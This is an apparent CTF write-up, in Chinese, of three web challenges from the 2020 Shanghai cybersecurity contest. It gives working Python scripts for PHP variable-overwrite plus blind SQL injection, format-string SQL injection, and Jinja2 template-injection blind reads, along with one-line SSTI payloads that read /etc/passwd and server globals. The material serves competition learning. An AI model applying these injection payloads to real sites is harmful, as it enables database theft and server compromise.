2020上海市网络安全大赛 web writeup
千毒网盘|2
www.zip源码,变量覆盖
https://blog.csdn.net/weixin_30258901/article/details/96605162
POST /?_POST[code]=select
code=select
$_GET,$_POST如下
array(1) {
["_POST"]=>
array(1) {
["code"]=>
string(6) "select"
}
}
array(1) {
["code"]=>{
string(6) "select"
}
}
由于$$key_2 == $value_2使得POST的值被unset了,绕过waf,后面再次extract造成变量覆盖
然后是布尔盲注,这里用--+代替#,不然
if($code === False) return '非法提取码!';
然后写脚本的时候要注意python requests库的编码问题
import requests
import string
url="http://eci-2zehpt4jc1z3f9vgcraf.cloudeci1.ichunqiu.com/index.php"
text=''
proxies={
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
for i in range(1,200):
l=28
h=126
while abs(h - l) > 1:
m=(l+h)/2
pay="select flag from flag"
#pay="database()"
e = "(ascii(mid(({}),{},1)))>{}".format(pay, i, m)
data = "code=114514'and if(({}),1,0)--+".format(e)
#print(data)
#print(url+"?_POST[code]="+data['code'])
re=requests.post(url+"?_POST[code]="+data.strip('code='),data=data,headers=headers)
#print(re.text)
#print(data)
#exit()
if 'http://gamectf.com/p/CGBU.png' in re.text:
l=m
else:
h=m
mid_num = int((l + h + 1) / 2)
text += chr(int(h))
print(text)
TryToLogin
格式化字符串注入
https://www.cnblogs.com/test404/p/7821884.html
import requests
import string
url="http://eci-2ze4elsbeer15p6dsvx2.cloudeci1.ichunqiu.com/index.php"
text=''
proxies={
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
for i in range(1,200):
l=28
h=126
while abs(h - l) > 1:
m=(l+h)/2
pay="select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"
pay="select * from fl4g"
e = "(ascii(mid(({}),{},1)))>{}".format(pay, i, m)
data ="password=%1$'||if(({}),1,0)--+".format(e)+'&username=admin'
re=requests.post(url,data=data,headers=headers)
if '登录成功了' in re.text:
l=m
else:
h=m
text += chr(int(h))
print(text)
Hello
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
文件没有close,所以该文件仍然存在于linux进程中
http://www.pdsdt.lovepdsdt.com/index.php/2020/05/17/249/
过滤{{,使用{%进行盲注
import requests
import string
url = 'http://eci-2ze006f3h1dkgrldoskz.cloudeci1.ichunqiu.com:8888/a'
headers={
'Content-Type':'application/json'
}
def check(payload):
r = requests.post(url, data=payload,headers=headers).text
return '~p0~' in r
password = ''
sa=string.printable
#print(s)
for i in range(0,100):
for c in sa:
payload='{% if self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/proc/self/fd/3").read()[' + str(i) + ':' + str(
i + 1) + '] == "' + c + '" %}~p0~{% endif %}'
#print(payload)
if check(payload):
password += c
break
print(password)
赛后看了其他解,发现这里貌似不用盲注,可以直接
{%print request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()%}
然后在输出全局变量中的flag
{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}